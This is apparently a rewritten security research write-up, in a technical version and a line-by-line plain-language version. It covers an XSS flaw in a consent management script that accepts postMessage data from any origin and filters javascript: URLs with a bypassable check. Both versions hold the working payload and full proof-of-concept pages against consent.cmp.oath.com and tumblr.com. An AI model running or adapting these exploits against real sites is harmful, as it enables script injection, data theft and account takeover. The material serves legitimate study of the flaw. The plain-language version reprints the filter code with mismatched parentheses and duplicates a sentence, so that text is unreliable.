Browser’s Cross-Origin Communication
A consent management script accepted postMessage data without checking the sender's origin, and its URL safety check could be bypassed with a newline, allowing an attacker to inject a javascript: URL into an iframe and execute arbitrary JavaScript on the victim domain.
Published on research.securitum.com
During my research on other bug bounty program I’ve found Cross-Site Scripting vulnerability in cmp3p.js file, which allows attacker to execute arbitrary javascript code in context of domain that include mentioned script.
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
This write-up follows a Cross-Site Scripting vulnerability found in the cmp3p.js file, a consent management platform (CMP) script. The script is included by multiple hosts, and the vulnerability allows an attacker to execute arbitrary JavaScript in the context of any domain that includes it. The research walks from the initial analysis of a JavaScript file to working proofs of concept for consent.cmp.oath.com and for tumblr.com.
The author notes that the described research should also work for any other host that includes the cmp3p.js file, which is what makes the finding interesting beyond a single site.
Setup
No accounts, roles or tool versions are described. The work is a source-level analysis of JavaScript served to the browser, followed by hand-built HTML pages used as proofs of concept. The preconditions that matter are browser behaviours: postMessage communication between origins, framing of the target page, and the target including the vulnerable script.
Finding it
Background: cross-origin communication
Browsers provide postMessage so that documents from different origins can talk to each other. If site A embeds site B in an <iframe>, site A can reach into site B's DOM only when both share an origin, because of the Same-Origin Policy. Otherwise one side must register an onmessage listener and the other sends events whose data is processed by the listener.
Site A:
<script>
window.addEventListener("message", function(e) {
alert(e.data.toString());
});
</script>
Site B:
<script>
window.parent.postMessage("Hello world.", "*");
</script>
This mechanism works not only across frames and pop-ups but also between two tabs. If site A has a hyperlink to site B and the user clicks it, the page containing the hyperlink can be reached from the newly opened tab through window.opener.

The suspicious listener
Looking at the main tumblr.com page, the researcher wanted to see whether it handled any postMessage traffic. In cmpStub.min.js there is a function that does not check the origin of the incoming message. In obfuscated form it looks like this:
!function() {
var e = !1;
function t(e) {
var t = "string" == typeof e.data
, n = e.data;
if (t)
try {
n = JSON.parse(e.data)
} catch (e) {}
if (n && n.__cmpCall) {
var r = n.__cmpCall;
window.__cmp(r.command, r.parameter, function(n, o) {
var a = {
__cmpReturn: {
returnValue: n,
success: o,
callId: r.callId
}
};
e && e.source && e.source.postMessage(t ? JSON.stringify(a) : a, "*")
})
}
}
The important observations are:
- It takes the event data parameter, as a JSON string.
- It parses it with
JSON.parse(). - It builds an object
ncontaining the attributecmpCall, which is itself an object.
The cmpCall object contains fields called command and parameter, both passed to window.__cmp():
if (e)
return {
init: function(e) {
if (!l.a.isInitialized())
if ((p = e || {}).uiCustomParams = p.uiCustomParams || {},
p.uiUrl || p.organizationId)
if (c.a.isSafeUrl(p.uiUrl)) {
p.gdprAppliesGlobally && (l.a.setGdprAppliesGlobally(!0),
g.setGdpr("S"),
g.setPublisherId(p.organizationId)),
(t = p.sharedConsentDomain) && r.a.init(t),
s.a.setCookieDomain(p.cookieDomain);
var n = s.a.getGdprApplies();
!0 === n ? (p.gdprAppliesGlobally || g.setGdpr("C"),
h(function(e) {
e ? l.a.initializationComplete() : b(l.a.initializationComplete)
}, !0)) : !1 === n ? l.a.initializationComplete() : d.a.isUserInEU(function(e, n) {
n || (e = !0),
s.a.setIsUserInEU(e),
e ? (g.setGdpr("L"),
h(function(e) {
e ? l.a.initializationComplete() : b(l.a.initializationComplete)
}, !0)) : l.a.initializationComplete()
})
} else
c.a.logMessage("error", 'CMP Error: Invalid config value for (uiUrl). Valid format is "http[s]://example.com/path/to/cmpui.html"');
// (...)
The code is obfuscated, so the analysis focuses on two lines. The first is the guard:
if (c.a.isSafeUrl(p.uiUrl)) {
The isSafeUrl definition checks whether the URL supplied in the parameters object, which the attacker can control, is safe:
isSafeUrl: function(e) {
return -1 === (e = (e || "").replace(" ",
"")).toLowerCase().indexOf("javascript:")
},
If the URL passed as the function parameter contains the string javascript: at the beginning, it should be treated as unsafe and return -1, stopping further execution.
The second interesting line is:
e ? l.a.initializationComplete() : b(l.a.initializationComplete)
The b() function is defined as:
b = function(e) {
g.markConsentRenderStartTime();
var n = p.uiUrl ? i.a : a.a;
l.a.isInitialized() ? l.a.getConsentString(function(t, o) {
p.consentString = t,
n.renderConsents(p, function(n, t) {
g.setType("C").setGdprConsent(n).fire(),
w(n),
"function" == typeof e && e(n, t)
})
}) : n.renderConsents(p, function(n, t) {
g.setType("C").setGdprConsent(n).fire(),
w(n),
"function" == typeof e && e(n, t)
})
This leads to renderConsents(), which is the security-relevant part:
renderConsents: function(n, p) {
if ((t = n || {}).siteDomain = window.location.origin,
r = t.uiUrl) {
if (p && u.push(p),
!document.getElementById("cmp-container-id")) {
(i = document.createElement("div")).id = "cmp-container-id",
i.style.position = "fixed",
i.style.background = "rgba(0,0,0,.5)",
i.style.top = 0,
i.style.right = 0,
i.style.bottom = 0,
i.style.left = 0,
i.style.zIndex = 1e4,
document.body.appendChild(i),
(a = document.createElement("iframe")).style.position = "fixed",
a.src = r,
a.id = "cmp-ui-iframe",
a.width = 0,
a.height = 0,
a.style.display = "block",
a.style.border = 0,
i.style.zIndex = 10001,
l(),

renderConsents() creates an iframe element whose src attribute is controlled by the attacker. A javascript: URI in src makes the browser execute the code, for example <iframe src="javascript:alert(1)"></iframe> runs alert(1). That is exactly why isSafeUrl() was called beforehand.
Exploitation
Step 1: bypass isSafeUrl()
Whitespace characters inside the scheme part of a URL are ignored by the browser. That gives a simple bypass: put a newline inside the scheme.
> url = "javascript:alert(document.domain);"
"javascript:alert(document.domain);"
> isSafeUrl(url)
false
> url="ja\nvascript:alert(document.domain);"
"ja
vascript:alert(document.domain);"
> isSafeUrl(url)
true
The check looks for the literal javascript: prefix, and the newline breaks that prefix while the browser still treats the value as a javascript: URL.
Step 2: build the message
With the bypassed URL, a postMessage payload in this JSON shape triggers the code path:
{
"__cmpCall": {
"command": "init",
"parameter": {
"uiUrl": "ja\nvascript:alert(document.domain)",
"uiCustomParams": "fdsfds",
"organizationId": "siabada",
"gdprAppliesGlobally": "fdfdsfds"
}
}
}
To deliver the message the attacker needs a reference to the vulnerable page's window object, which is easy to get by putting the vulnerable page into an iframe.
Step 3: proof of concept against consent.cmp.oath.com
Putting the steps together gives the following page:
<html><body>
<script>
window.setInterval(function(e) {
try {
window.frames[0].postMessage("{\"__cmpCall\":{\"command\":\"init\",\"parameter\":{\"uiUrl\":\"ja\\nvascript:alert(document.domain)\",\"uiCustomParams\":\"fdsfds\",\"organizationId\":\"siabada\",\"gdprAppliesGlobally\":\"fdfdsfds\"}}}","*");
} catch(e) {}
}, 100);
</script>
<iframe src="https://consent.cmp.oath.com/tools/demoPage.html"></iframe>

The interval keeps sending the message to the framed page. Because the page does not send X-Frame-Options, no user interaction is required: visiting the malicious site is enough. If the application did send X-Frame-Options, this exploit could not frame the target page.
Step 4: proof of concept against tumblr.com
When framing is blocked, the attack needs a connection between two browser tabs and passes postMessage through window.opener:
- Create a page containing a hyperlink to itself.
- Execute
window.opener.postMessage()with the payload in a loop. - After clicking the link, a new tab opens, giving a
window.openerconnection between the tabs. - Redirect the first page to the target straight after the click, using the
onclickevent. - Profit.
That was the situation on tumblr.com, which also contained the vulnerable cmp.js code but was not framable because of X-Frame-Options. The Tumblr exploit code:
<html><body>
<script>
function e() {
window.setTimeout(function() {
window.location.href="https://www.tumblr.com/embed/post/";
}, 500);
}
window.setInterval(function(e) {
try { window.opener.postMessage("{\"__cmpCall\":{\"command\":\"init\",\"parameter\":{\"uiUrl\":\"ja\\nvascript:alert(document.domain)\",\"uiCustomParams\":\"fdsfds\",\"organizationId\":\"siabada\",\"gdprAppliesGlobally\":\"fdfdsfds\"}}}","*");
} catch(e) {}
}, 100);
</script>
<a onclick="e()" href="/tumblr.html" target=_blank>Click me</a>

Root cause
The message listener in cmpStub.min.js accepts postMessage data from any origin and passes attacker-controlled command and parameter values into window.__cmp(). The init command eventually reaches renderConsents(), which assigns the attacker-supplied uiUrl to an iframe src. The only defence in that path is isSafeUrl(), which does a naive substring check for javascript: after removing a single space. It does not account for whitespace inside the scheme, so a newline in ja\nvascript: passes the check while the browser still executes the URL as JavaScript. The missing origin check on the listener is what lets a hostile page drive the flow at all.
Impact
An attacker who can execute arbitrary JavaScript in the context of the vulnerable target can abuse it in several ways:
- Steal sensitive user data (personal data, messages and so on).
- Steal CSRF tokens and perform malicious actions on behalf of the user.
- Steal account credentials and take over the user's account.
- And many others.
The impact applies to any host that includes cmp3p.js. Where the target is framable, no user interaction is needed beyond visiting the malicious page. Where X-Frame-Options is present, the attacker needs the user to click a link, after which the two-tab window.opener technique delivers the payload.
Fix
Tumblr triaged and fixed the issue on 07/10/2019, and Verizon Media fixed it on 08/10/2019.
Variants to test
- Look for
postMessagelisteners that call privileged functions without checkingevent.origin. A positive result is a message from an unrelated origin that reaches a sink such asiframe.src,location,innerHTMLoreval. - Look for URL validators that block
javascript:with a substring or prefix check. Try whitespace and control characters inside the scheme, mixed case, and other encodings; a positive result is a value the validator accepts that the browser still executes as script. - Look for
iframecreation wheresrccomes from message data. A positive result is ajavascript:URL reaching thesrcattribute. - Check whether the target sends
X-Frame-Optionsor a frame-ancestors policy. If it does not, theiframevariant needs no interaction; if it does, test thewindow.openertwo-tab variant with a self-link and anonclickredirect. - Check other hosts that include the same CMP script, since the report states the research should work for any host that includes
cmp3p.js.
What happened, in plain words
A security researcher was looking at the main page of tumblr.com, curious about how the page talks to other pages inside the browser. He found a small piece of JavaScript, part of a consent management platform (CMP), that listens for messages from other pages and acts on them without checking who sent them. One of the things it can be told to do is create an invisible frame on the page and load a web address into it. If that address starts with javascript:, the browser runs it as code instead of loading a page. The script tried to block that with a simple text check, but the check could be slipped past by putting a line break inside the word javascript:. The result: any website could make the victim's browser run the attacker's JavaScript as if it belonged to the target site. The researcher built working demonstrations against consent.cmp.oath.com and against tumblr.com, The researcher built working demonstrations against consent.cmp.oath.com and against tumblr.com, and both companies fixed the problem.
This is a Cross-Site Scripting (XSS) bug. XSS means an attacker gets their own JavaScript to run inside a page that belongs to someone else's website. The browser cannot tell the difference between the site's own code and the injected code, so the injected code can do anything the site's code could do: read what is on the page, act as the logged-in user, and so on. A useful comparison: it is like someone managing to print their own instructions on your company letterhead. Everyone who receives the letter trusts it because the paper looks official.
Background: how pages talk to each other
Before the bug makes sense, you need one browser feature: postMessage. Websites are normally kept apart from each other by a rule called the Same-Origin Policy. An origin is the combination of protocol, host and port, for example https://www.tumblr.com. The policy says a page from one origin cannot freely read or change a page from another origin. That is what stops a random site you visit from reading your bank's page in another tab.
But sometimes pages from different origins genuinely need to cooperate, for example a page that embeds a payment widget from another company. postMessage is the official, controlled way to do that. One page sends a message, and the other page decides what to do with it. The receiving page is supposed to check who sent the message before trusting it. That check is the heart of this story.
If site A puts site B inside an <iframe> (a window inside a window), site A can reach into site B's page only when both share an origin, again because of the Same-Origin Policy. Otherwise one side must register an onmessage listener, a function that runs whenever a message arrives, and the other side sends events whose data is processed by that listener.
Site A:
<script>
window.addEventListener("message", function(e) {
alert(e.data.toString());
});
</script>
Line by line:
<script>and</script>mark the start and end of JavaScript inside an HTML page.window.addEventListener("message", ...)tells the browser: whenever a message arrives at this window, run the function I am giving you.function(e) { ... }is that function. Theeis the event object, a bundle of information about what just happened, including the message data and who sent it.alert(e.data.toString());shows the message text in a pop-up box.e.datais the payload, and.toString()turns it into text.
Site B:
<script>
window.parent.postMessage("Hello world.", "*");
</script>
Line by line:
window.parentmeans the window that contains this one, i.e. the page that embedded site B in a frame..postMessage("Hello world.", "*")sends the textHello world.to that parent window. The second argument,"*", means "I do not care which origin receives this". It is the sender's side of the trust decision, and"*"is the loosest possible choice.
This mechanism works not only across frames and pop-ups but also between two tabs. If site A has a hyperlink to site B and the user clicks it, the page containing the hyperlink can be reached from the newly opened tab through window.opener. window.opener is a reference from the new tab back to the tab that opened it. It exists so that a pop-up can, for example, tell its parent "the user finished the form". It also means the new tab can be talked to by the old one.

The image illustrates this two-tab relationship: a page with a link to another site, and the newly opened tab holding a reference back to the page that opened it.
Finding the bug
The suspicious listener
Looking at the main tumblr.com page, the researcher wanted to see whether it handled any postMessage traffic. In a file called cmpStub.min.js he found a function that does not check the origin of the incoming message. In obfuscated form it looks like this:
!function() {
var e = !1;
function t(e) {
var t = "string" == typeof e.data
, n = e.data;
if (t)
try {
n = JSON.parse(e.data)
} catch (e) {}
if (n && n.__cmpCall) {
var r = n.__cmpCall;
window.__cmp(r.command, r.parameter, function(n, o) {
var a = {
__cmpReturn: {
returnValue: n,
success: o,
callId: r.callId
}
};
e && e.source && e.source.postMessage(t ? JSON.stringify(a) : a, "*")
})
}
}
Line by line, in plain words:
!function() { ... }is a trick to run a function immediately without giving it a name. Everything inside runs as soon as the file loads.var e = !1;creates a variableeset tofalse. (!1is a short way of writingfalse.)function t(e) { ... }defines the message handler. The parametereis the incoming event.var t = "string" == typeof e.datachecks whether the message payload is text. The result, true or false, is stored int., n = e.data;stores the raw payload inn.if (t) try { n = JSON.parse(e.data) } catch (e) {}means: if the payload is text, try to turn it from JSON text into a JavaScript object. JSON is a text format for structured data, like a very strict shopping list with labels. If the text is not valid JSON, thecatchblock silently ignores the error andnstays as the raw text.if (n && n.__cmpCall) {checks whether the parsed object exists and has a property called__cmpCall. This is the gate: only messages shaped like a CMP call get any further.var r = n.__cmpCall;grabs that property intor.window.__cmp(r.command, r.parameter, function(n, o) { ... })calls a function named__cmpon the page, passing two values taken straight from the attacker's message:r.commandandr.parameter. The third argument is a callback, a function to run when__cmpfinishes.- Inside the callback,
var a = { __cmpReturn: { returnValue: n, success: o, callId: r.callId } };builds a reply object containing the result, a success flag, and the caller'scallId. e && e.source && e.source.postMessage(t ? JSON.stringify(a) : a, "*")sends the reply back to whoever sent the message, again with"*"as the target origin.
The important observations are:
- It takes the event data parameter, as a JSON string.
- It parses it with
JSON.parse(). - It builds an object
ncontaining the attributecmpCall, which is itself an object.
Notice what is missing: nowhere does the code look at e.origin, the field that says which website sent the message. Any website in the world can therefore send a message that this handler will process.
Following the command
The cmpCall object contains fields called command and parameter, both passed to window.__cmp():
if (e)
return {
init: function(e) {
if (!l.a.isInitialized())
if ((p = e || {}).uiCustomParams = p.uiCustomParams || {},
p.uiUrl || p.organizationId)
if (c.a.isSafeUrl(p.uiUrl)) {
p.gdprAppliesGlobally && (l.a.setGdprAppliesGlobally(!0),
g.setGdpr("S"),
g.setPublisherId(p.organizationId)),
(t = p.sharedConsentDomain) && r.a.init(t),
s.a.setCookieDomain(p.cookieDomain);
var n = s.a.getGdprApplies();
!0 === n ? (p.gdprAppliesGlobally || g.setGdpr("C"),
h(function(e) {
e ? l.a.initializationComplete() : b(l.a.initializationComplete)
}, !0)) : !1 === n ? l.a.initializationComplete() : d.a.isUserInEU(function(e, n) {
n || (e = !0),
s.a.setIsUserInEU(e),
e ? (g.setGdpr("L"),
h(function(e) {
e ? l.a.initializationComplete() : b(l.a.initializationComplete)
}, !0)) : l.a.initializationComplete()
})
} else
c.a.logMessage("error", 'CMP Error: Invalid config value for (uiUrl). Valid format is "http[s]://example.com/path/to/cmpui.html"');
// (...)
Line by line, at the level that matters here:
if (e) return { init: function(e) { ... } }defines a command calledinit. When a message says"command": "init", this function runs. Theeit receives is theparameterobject from the message, so everything inside it is attacker-controlled.if (!l.a.isInitialized())only proceeds if the consent platform has not already started up.(p = e || {}).uiCustomParams = p.uiCustomParams || {}stores the incoming parameters inp, defaulting to an empty object if nothing was sent, and makes sureuiCustomParamsexists.p.uiUrl || p.organizationIdrequires at least one of these two values to be present.uiUrlis the address of the consent dialog's user interface.if (c.a.isSafeUrl(p.uiUrl)) {is the security check: only continue if the supplied URL is considered safe.- The lines with
setGdpr,setPublisherId,setCookieDomainandgetGdprAppliesare bookkeeping for the consent platform: recording settings and reading whether GDPR (the EU privacy law) applies to this visitor. GDPR is a privacy regulation that requires websites to ask permission before storing certain data. h(function(e) { e ? l.a.initializationComplete() : b(l.a.initializationComplete) }, !0)calls one of two functions depending on a condition. The interesting branch isb(...).- The
elsebranch logs an error saying theuiUrlis invalid and shows the expected format,http[s]://example.com/path/to/cmpui.html.
The code is obfuscated, so the analysis focuses on two lines. The first is the guard:
if (c.a.isSafeUrl(p.uiUrl)) {
This line is the only thing standing between the attacker's URL and the browser. The isSafeUrl definition checks whether the URL supplied in the parameters object, which the attacker can control, is safe:
isSafeUrl: function(e) {
return -1 === (e = (e || "")).replace(" ",
"")).toLowerCase().indexOf("javascript:")
},
Line by line:
isSafeUrl: function(e) { ... }defines a function that takes a URL and returns true or false.(e || "")uses the URL, or an empty string if none was given..replace(" ", "")removes the first space character it finds. Only the first one..toLowerCase()converts everything to lowercase, soJavaScript:andjavascript:are treated the same..indexOf("javascript:")looks for the textjavascript:inside the result and returns its position, or-1if it is not there.-1 === ...means the function returns true only when the textjavascript:was not found.
If the URL passed as the function parameter contains the string javascript: at the beginning, it should be treated as unsafe and return -1, stopping further execution. The idea is reasonable, but the implementation is a plain text search, not a real understanding of URLs.
The second interesting line is:
e ? l.a.initializationComplete() : b(l.a.initializationComplete)
This is a compact if/else: if e is truthy, call initializationComplete(); otherwise call b(...). The b() function is defined as:
b = function(e) {
g.markConsentRenderStartTime();
var n = p.uiUrl ? i.a : a.a;
l.a.isInitialized() ? l.a.getConsentString(function(t, o) {
p.consentString = t,
n.renderConsents(p, function(n, t) {
g.setType("C").setGdprConsent(n).fire(),
w(n),
"function" == typeof e && e(n, t)
})
}) : n.renderConsents(p, function(n, t) {
g.setType("C").setGdprConsent(n).fire(),
w(n),
"function" == typeof e && e(n, t)
})
Line by line:
g.markConsentRenderStartTime();records a timestamp, probably for performance measurement.var n = p.uiUrl ? i.a : a.a;picks one of two internal modules depending on whether auiUrlwas supplied. If the attacker supplied one, the branch that uses it is chosen.l.a.isInitialized() ? ... : ...is another if/else. Either way, both branches end up callingn.renderConsents(p, ...), passing along the parameters objectp, which still contains the attacker'suiUrl.- The callback passed to
renderConsentsfires an event, callsw(n), and then calls the original callback if one was provided.
This leads to renderConsents(), which is the security-relevant part:
renderConsents: function(n, p) {
if ((t = n || {}).siteDomain = window.location.origin,
r = t.uiUrl) {
if (p && u.push(p),
!document.getElementById("cmp-container-id")) {
(i = document.createElement("div")).id = "cmp-container-id",
i.style.position = "fixed",
i.style.background = "rgba(0,0,0,.5)",
i.style.top = 0,
i.style.right = 0,
i.style.bottom = 0,
i.style.left = 0,
i.style.zIndex = 1e4,
document.body.appendChild(i),
(a = document.createElement("iframe")).style.position = "fixed",
a.src = r,
a.id = "cmp-ui-iframe",
a.width = 0,
a.height = 0,
a.style.display = "block",
a.style.border = 0,
i.style.zIndex = 10001,
l(),
Line by line:
renderConsents: function(n, p) { ... }defines the function that draws the consent dialog on the page.(t = n || {}).siteDomain = window.location.originstores the current site's origin in the settings object, defaulting to an empty object if nothing was passed.r = t.uiUrlcopies theuiUrlvalue intor. This is the attacker-controlled address.if (p && u.push(p), !document.getElementById("cmp-container-id")) {queues a callback and then checks whether the consent container already exists on the page. If it does not, the code builds it.(i = document.createElement("div")).id = "cmp-container-id"creates a<div>element and gives it an id. A<div>is a generic box on the page.- The
i.style...lines make that box cover the whole screen with a semi-transparent dark background, fixed in place, layered above the page content. This is the dimmed backdrop behind a consent pop-up. document.body.appendChild(i)puts the box into the page.(a = document.createElement("iframe")).style.position = "fixed"creates an<iframe>, a window inside the page that loads another document, and fixes its position.a.src = rsets the address that the frame will load. This is the critical line:rcame from the attacker's message.a.id = "cmp-ui-iframe",a.width = 0,a.height = 0,a.style.display = "block",a.style.border = 0give the frame an id and make it zero-sized and borderless, so the user does not see it.i.style.zIndex = 10001raises the backdrop above other content, andl()calls some further setup function.

The image shows this part of the code, where the frame is created and its src is assigned from the incoming URL.
renderConsents() creates an iframe element whose src attribute is controlled by the attacker. A javascript: URI in src makes the browser execute the code, for example <iframe src="javascript:alert(1)"></iframe> runs alert(1). That is exactly why isSafeUrl() was called beforehand: the developer knew this line was dangerous.
Exploitation
Step 1: bypass isSafeUrl()
Whitespace characters inside the scheme part of a URL are ignored by the browser. The scheme is the part before the colon, like http or javascript. That gives a simple bypass: put a newline inside the scheme.
> url = "javascript:alert(document.domain);"
"javascript:alert(document.domain);"
> isSafeUrl(url)
false
> url="ja\nvascript:alert(document.domain);"
"ja
vascript:alert(document.domain);"
> isSafeUrl(url)
true
Line by line:
> url = "javascript:alert(document.domain);"sets a variable to a classic XSS payload.alert(document.domain)pops up a box showing the current site's domain, which proves the code ran in the target's context.> isSafeUrl(url)calls the check. The result isfalse, meaning "not safe", so the code would stop here.> url="ja\nvascript:alert(document.domain);"sets the variable again, this time with\ninside the word.\nis a newline character, a line break.- The output shows the string broken across two lines:
jathenvascript:.... > isSafeUrl(url)now returnstrue, meaning "safe".
The check looks for the literal javascript: prefix, and the newline breaks that prefix while the browser still treats the value as a javascript: URL. The browser strips the whitespace when it parses the address, but the text search in isSafeUrl does not. It is like a bouncer checking for the exact word "bomb" while the visitor writes "bo mb" on the form.
Step 2: build the message
With the bypassed URL, a postMessage payload in this JSON shape triggers the code path:
{
"__cmpCall": {
"command": "init",
"parameter": {
"uiUrl": "ja\nvascript:alert(document.domain)",
"uiCustomParams": "fdsfds",
"organizationId": "siabada",
"gdprAppliesGlobally": "fdfdsfds"
}
}
}
Line by line:
- The outer
{ ... }is a JSON object, a set of labelled values. "__cmpCall"is the property the listener looks for. Without it, the message is ignored."command": "init"selects theinitcommand, the one that eventually draws the consent dialog."parameter"holds the arguments for that command."uiUrl": "ja\nvascript:alert(document.domain)"is the bypassed address. In JSON,\nrepresents a newline character."uiCustomParams": "fdsfds","organizationId": "siabada"and"gdprAppliesGlobally": "fdfdsfds"are filler values. The report does not explain why these particular strings were chosen; they simply make the object look complete.
To deliver the message the attacker needs a reference to the vulnerable page's window object, which is easy to get by putting the vulnerable page into an iframe.
Step 3: proof of concept against consent.cmp.oath.com
Putting the steps together gives the following page:
<html><body>
<script>
window.setInterval(function(e) {
try {
window.frames[0].postMessage("{\"__cmpCall\":{\"command\":\"init\",\"parameter\":{\"uiUrl\":\"ja\\nvascript:alert(document.domain)\",\"uiCustomParams\":\"fdsfds\",\"organizationId\":\"siabada\",\"gdprAppliesGlobally\":\"fdfdsfds\"}}}","*");
} catch(e) {}
}, 100);
</script>
<iframe src="https://consent.cmp.oath.com/tools/demoPage.html"></iframe>
Line by line:
<html><body>starts a minimal web page.<script>starts the JavaScript.window.setInterval(function(e) { ... }, 100);runs the function repeatedly, every 100 milliseconds (a tenth of a second). Repeating matters because the target page may not be ready to receive the message the first time.try { ... } catch(e) {}wraps the risky part. If anything throws an error, the emptycatchblock swallows it and the loop keeps going.window.frames[0]refers to the first frame inside this page, which is the<iframe>below..postMessage("...", "*")sends the JSON text to that frame. The"*"means the sender does not restrict the recipient's origin.- The long string is the JSON payload from step 2, escaped for embedding inside JavaScript. The
\"sequences are quote characters inside the string, and\\nbecomes a literal backslash followed bynin the JavaScript string, which the JSON parser then turns into a newline. That newline is the bypass. </script>ends the script.<iframe src="https://consent.cmp.oath.com/tools/demoPage.html"></iframe>embeds the target page. The attacker's page now holds a reference to it and can send it messages.

The image shows the proof-of-concept page and the result: the payload running in the context of the framed target.
The interval keeps sending the message to the framed page. Because the page does not send X-Frame-Options, no user interaction is required: visiting the malicious site is enough. X-Frame-Options is a response header, a small piece of information a web server attaches to its answer, that tells the browser "do not let other sites put this page in a frame". Without it, any site can frame the page. If the application did send X-Frame-Options, this exploit could not frame the target page.
Step 4: proof of concept against tumblr.com
When framing is blocked, the attack needs a connection between two browser tabs and passes postMessage through window.opener:
- Create a page containing a hyperlink to itself.
- Execute
window.opener.postMessage()with the payload in a loop. - After clicking the link, a new tab opens, giving a
window.openerconnection between the tabs. - Redirect the first page to the target straight after the click, using the
onclickevent. - Profit.
Why each step: the attacker cannot frame Tumblr, so the message must come from a tab that Tumblr itself opened. A link that opens a new tab gives exactly that relationship. The new tab is the attacker's own page, so it can run the loop and talk back to the first tab through window.opener. Meanwhile the first tab navigates to Tumblr, so the messages land on the real target. The onclick event fires when the user clicks the link, which is the moment to start the redirect.
That was the situation on tumblr.com, which also contained the vulnerable cmp.js code but was not framable because of X-Frame-Options. The Tumblr exploit code:
<html><body>
<script>
function e() {
window.setTimeout(function() {
window.location.href="https://www.tumblr.com/embed/post/";
}, 500);
}
window.setInterval(function(e) {
try { window.opener.postMessage("{\"__cmpCall\":{\"command\":\"init\",\"parameter\":{\"uiUrl\":\"ja\\nvascript:alert(document.domain)\",\"uiCustomParams\":\"fdsfds\",\"organizationId\":\"siabada\",\"gdprAppliesGlobally\":\"fdfdsfds\"}}}","*");
} catch(e) {}
}, 100);
</script>
<a onclick="e()" href="/tumblr.html" target=_blank>Click me</a>
Line by line:
function e() { ... }defines a function that runs when the link is clicked.window.setTimeout(function() { ... }, 500);waits 500 milliseconds (half a second) and then runs the inner function. The delay gives the new tab time to open.window.location.href="https://www.tumblr.com/embed/post/";navigates the current tab to Tumblr. This is the tab that will receive the messages.window.setInterval(function(e) { ... }, 100);starts the same repeating sender as before, every 100 milliseconds.window.opener.postMessage("...", "*")sends the payload to the tab that opened this one, which is the tab that is now on Tumblr. The payload string is identical to the previous proof of concept.<a onclick="e()" href="/tumblr.html" target=_blank>Click me</a>is the link.onclick="e()"runs the function when clicked.href="/tumblr.html"points to a page on the attacker's own site, andtarget=_blankopens it in a new tab. The new tab is the attacker's page, which holds thewindow.openerreference back to the first tab.

The image shows the Tumblr proof of concept: the link, the new tab, and the payload executing on the Tumblr page.
Root cause
The message listener in cmpStub.min.js accepts postMessage data from any origin and passes attacker-controlled command and parameter values into window.__cmp(). The init command eventually reaches renderConsents(), which assigns the attacker-supplied uiUrl to an iframe src. The only defence in that path is isSafeUrl(), which does a naive substring check for javascript: after removing a single space. It does not account for whitespace inside the scheme, so a newline in ja\nvascript: passes the check while the browser still executes the URL as JavaScript. The missing origin check on the listener is what lets a hostile page drive the flow at all.
Impact
An attacker who can execute arbitrary JavaScript in the context of the vulnerable target can abuse it in several ways:
- Steal sensitive user data (personal data, messages and so on).
- Steal CSRF tokens and perform malicious actions on behalf of the user.
- Steal account credentials and take over the user's account.
- And many others.
A CSRF token is a secret value a site puts in its forms so that it can tell a genuine submission from one forged by another site. If the attacker's script can read it, that protection is gone. The impact applies to any host that includes cmp3p.js. Where the target is framable, no user interaction is needed beyond visiting the malicious page. Where X-Frame-Options is present, the attacker needs the user to click a link, after which the two-tab window.opener technique delivers the payload.
Fix
Tumblr triaged and fixed the issue on 07/10/2019, and Verizon Media fixed it on 08/10/2019.
Variants to test
- Look for
postMessagelisteners that call privileged functions without checkingevent.origin. A positive result is a message from an unrelated origin that reaches a sink such asiframe.src,location,innerHTMLoreval. A sink is any place where data ends up being treated as code or as a page address. - Look for URL validators that block
javascript:with a substring or prefix check. Try whitespace and control characters inside the scheme, mixed case, and other encodings; a positive result is a value the validator accepts that the browser still executes as script. - Look for
iframecreation wheresrccomes from message data. A positive result is ajavascript:URL reaching thesrcattribute. - Check whether the target sends
X-Frame-Optionsor a frame-ancestors policy. If it does not, theiframevariant needs no interaction; if it does, test thewindow.openertwo-tab variant with a self-link and anonclickredirect. - Check other hosts that include the same CMP script, since the report states the research should work for any host that includes
cmp3p.js.
Glossary
- API: a defined set of functions one piece of software offers to another, like a menu of things you are allowed to ask it to do.
- Callback: a function you hand to another function, to be run later when the work is finished.
- CMP (consent management platform): software that shows the cookie/privacy consent dialog and records the visitor's choice.
- Cross-Site Scripting (XSS): a bug where an attacker gets their own JavaScript to run inside another website's page, so the browser treats it as the site's own code.
- CSRF token: a secret value embedded in forms so the server can tell a genuine request from one forged by another site.
- DOM: the browser's in-memory tree representation of a page, which scripts read and change.
- Frame / iframe: a window embedded inside a page that loads another document.
- GDPR: the EU privacy law that requires consent before certain data is stored or processed.
- Header: a small piece of metadata a web server attaches to its response, such as
X-Frame-Options. - JSON: a text format for structured data, made of labelled values in braces and brackets.
- JSON.parse(): a JavaScript function that turns JSON text into a JavaScript object.
- Obfuscation: deliberately making code hard to read, for example by using short names and compressed syntax, without changing what it does.
- onmessage listener: a function registered to run whenever a message arrives at a window.
- Origin: the combination of protocol, host and port that identifies a website, for example
https://www.tumblr.com. - postMessage: the browser API that lets one window send a message to another, possibly across origins.
- Same-Origin Policy: the browser rule that stops pages from different origins reading or changing each other freely.
- Scheme: the first part of a URL before the colon, such as
http,httpsorjavascript. - Sink: a place in code where data is used in a dangerous way, for example as a URL to load or as code to run.
- Source: the place attacker-controlled data enters the application, for example an incoming message.
srcattribute: the part of an element such as<iframe>or<script>that says which address to load.window.opener: a reference from a tab to the tab that opened it, allowing the two to communicate.X-Frame-Options: a response header that tells the browser whether other sites may embed the page in a frame.